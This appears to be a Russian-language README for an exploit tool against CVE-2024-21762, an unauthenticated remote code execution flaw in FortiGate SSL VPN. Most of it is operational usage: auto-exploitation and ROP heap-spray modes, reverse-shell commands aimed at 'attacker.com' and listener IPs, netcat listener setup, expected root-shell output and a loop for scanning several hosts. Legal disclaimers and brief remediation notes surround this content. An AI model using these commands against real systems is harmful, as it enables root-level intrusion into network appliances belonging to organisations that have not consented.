Обнаруживает и эксплуатирует CVE-2024-21762 предварительную аутентификацию RCE в FortiGate SSL VPN, включая базовую проверку, автоматическую эксплуатацию, режим ROP heap-spray и обратную оболочку.
Инструмент для обнаружения и эксплуатации CVE-2024-21762 – критической уязвимости в FortiGate SSL VPN
⚠️ ПРАВОВОЕ ПРЕДУПРЕЖДЕНИЕ: Данный инструмент предназначен исключительно для использования в авторизованных тестовых средах. Несанкционированное использование на системах НЕЗАКОННО и может привести к серьёзным юридическим последствиям.
CVE-2024-21762 – критическая уязвимость в компонентах FortiGate SSL VPN, позволяющая удалённое выполнение кода (RCE) без аутентификации. Ошибка заключается в уязвимом разборе HTTP-запросов с кодированием chunked, что приводит к записи за границы буфера в компоненте sslvpnd.
| Атрибут | Информация |
|---|---|
| CVE ID | CVE-2024-21762 |
| Уязвимость | Запись за границы буфера в sslvpnd |
| Тип | Удалённое выполнение кода (RCE) без аутентификации |
| Оценка CVSS | 9.8 (Critical) |
| Затронутый компонент | FortiOS SSL VPN |
| Уязвимые версии | 7.0.0-7.0.13, 7.2.0-7.2.6, 7.4.0-7.4.2 |
✅ Обнаружение уязвимости – выявляет уязвимые FortiGate с помощью некорректных запросов
✅ Базовый тест – проверяет нормальное поведение сервера до тестов
✅ Автоматический режим – обнаруживает уязвимость и автоматически эксплуатирует
✅ Reverse Shell – поддерживает обратную оболочку bash с настройкой IP/порта
✅ Проверка ввода – валидирует IP и порты перед эксплуатацией
✅ Подробные отчёты – формирует отчёты с рекомендациями по устранению
✅ Надёжная обработка ошибок – безопасное управление соединениями и исключениями
# Клонирование репозитория
git clone https://github.com/ваш-пользователь/CVE-2024-21762.git
cd CVE-2024-21762
# Проверка синтаксиса
python -m py_compile EXPLOIT.py
# Запуск скрипта
python EXPLOIT.py -h
# Простой тест обнаружения
python EXPLOIT.py 192.168.1.100
# С нестандартным портом
python EXPLOIT.py 192.168.1.100 -p 8443
# С увеличенным таймаутом
python EXPLOIT.py 192.168.1.100 --timeout 20
# Автоматический режим с предварительно настроенным reverse shell
python EXPLOIT.py 192.168.1.100 --auto -li 10.0.0.5 -lp 4444
# Автоматический режим без учётных данных (запрос интерактивно)
python EXPLOIT.py 192.168.1.100 --auto
ROP-режим реализует двухэтапную эксплуатацию с heap spray для конкретных целей (FortiOS 7.4.2):
# ROP-эксплуатация с reverse shell Node.js
python EXPLOIT.py 192.168.1.100 --rop -li 10.0.0.5 -lp 4242
# С нестандартным портом
python EXPLOIT.py 192.168.1.100 -p 8443 --rop -li attacker.com -lp 4242
# С увеличенным таймаутом для медленных целей
python EXPLOIT.py 192.168.1.100 --rop -li 192.168.1.50 -lp 9999 --timeout 30
Поток ROP-эксплуатации:
На вашем сервере прослушивания:
# Linux/Mac/Windows с netcat
nc -lnvp 4242
# Ожидаемый вывод:
# listening on [any] 4242 ...
# connect to [10.0.0.5] from (UNKNOWN) [192.168.1.100] 54321
# id
# uid=0(root) gid=0(root) groups=0(root)
⚠️ Важное примечание: ROP-режим оптимизирован для FortiOS 7.4.2.F-build2571. Другие версии могут не работать из-за жёстко заданных смещений ROP-цепочки.
# Отправка полезной нагрузки reverse shell
python EXPLOIT.py 192.168.1.100 -li 192.168.1.50 -lp 9999
# Комбинация нескольких опций
python EXPLOIT.py -t target.com -p 8443 --auto -li attacker.com -lp 5555 --timeout 15
positional arguments:
target Целевое имя хоста или IP для тестирования
optional arguments:
-h, --help Показать это справочное сообщение
-t, --target HOSTNAME Целевое имя хоста или IP (альтернативный способ)
-p, --port PORT Порт SSL VPN (по умолчанию: 443)
--timeout SECONDS Таймаут в секундах (по умолчанию: 10)
-li, --lhost IP Локальный IP для получения reverse shell
-lp, --lport PORT Локальный порт для получения reverse shell
--no-baseline Пропустить базовый тест
--auto Автоматический режим: обнаружение и эксплуатация
--rop ROP-режим: продвинутая эксплуатация с heap spray (FortiOS 7.4.2)
-v, --version Показать версию скрипта
python EXPLOIT.py 192.168.1.100
Ожидаемый результат при уязвимости:
[+] Запуск теста уязвимости...
[!] УЯЗВИМОСТЬ ОБНАРУЖЕНА!
[!] Сервер резко разорвал соединение
[!] СТАТУС: УЯЗВИМ
python EXPLOIT.py 192.168.1.100 --auto -li 192.168.1.50 -lp 4444
На вашем сервере:
# Linux/Mac
nc -lnvp 4444
# Windows
ncat -lnvp 4444
for target in 192.168.1.100 192.168.1.101 192.168.1.102; do
python EXPLOIT.py $target --timeout 15
done
Инструмент считает цель уязвимой при обнаружении одного из следующих поведений:
| Версия | Обнаружение | ROP Mode | Статус |
|---|---|---|---|
| FortiOS 7.0.0 - 7.0.13 | ✅ Да | ❌ Нет | ⚠️ УЯЗВИМА |
| FortiOS 7.2.0 - 7.2.6 | ✅ Да | ❌ Нет | ⚠️ УЯЗВИМА |
| FortiOS 7.4.0 - 7.4.1 | ✅ Да | ❌ Нет | ⚠️ УЯЗВИМА |
| FortiOS 7.4.2 (build≤2571) | ✅ Да | ✅ Да | ⚠️ УЯЗВИМА |
| FortiOS 7.4.3+ | ❌ Нет | ❌ Нет | ✅ ИСПРАВЛЕНО |
Обновить FortiOS до исправленной версии:
Временная изоляция
Мониторинг
# Проверка версии FortiOS
python EXPLOIT.py ваш-fortinet.com
Если результат показывает "НЕ УЯЗВИМ", патч был успешно применён.
CVE-2024-21762/
├── EXPLOIT.py # Основной скрипт эксплуатации
├── README.md # Этот файл
├── LICENSE # Лицензия MIT
└── .gitignore # Конфигурация Git
| Метод | Описание |
|---|---|
test_vulnerability() | Проверяет уязвимость, отправляя повреждённый запрос |
exploit(lhost, lport) | Эксплуатирует уязвимость с reverse shell |
test_baseline() | Проверяет нормальное поведение сервера |
generate_report() | Формирует итоговый отчёт со статусом |
_create_ssl_context() | Создаёт многоразовый SSL-контекст |
_create_socket_connection() | Создаёт безопасное TLS-соединение |
_close_socket(sock) | Безопасно закрывает сокет |
_is_valid_ip(ip_str) | Проверяет формат IP |
Инструмент реализует:
В: Можно ли использовать в среде Windows?
О: Да, скрипт Python работает в Windows, однако стандартный reverse shell bash не будет работать. Потребуется настраиваемая полезная нагрузка.
В: Как узнать, что эксплуатация прошла успешно?
О: Проверьте машину, слушающую reverse shell (nc/ncat). Скрипт покажет сообщения о ходе выполнения.
В: Можно ли использовать против нескольких целей?
О: Да, можно создать скрипт на bash/PowerShell для итерации по списку IP.
В: В чём разница между нормальным и автоматическим режимом?
О: Автоматический режим выполняет эксплуатацию сразу после обнаружения уязвимости. Нормальный режим только обнаруживает.
Нашли ошибку или есть предложения? Откройте issue или сделайте pull request!
Этот проект лицензирован под лицензией MIT – подробности в файле LICENSE.
Данное программное обеспечение предоставляется «как есть» для исследовательских и авторизованных тестовых целей. Авторы не несут ответственности за:
ИСПОЛЬЗУЙТЕ ОТВЕТСТВЕННО И ТОЛЬКО В АВТОРИЗОВАННЫХ СРЕДАХ
Разработано в образовательных и исследовательских целях в области кибербезопасности.
⚠️ Помните: Используйте этот инструмент только на системах, которые принадлежат вам или на тестирование которых вы имеете явное разрешение. Несанкционированная эксплуатация является преступлением.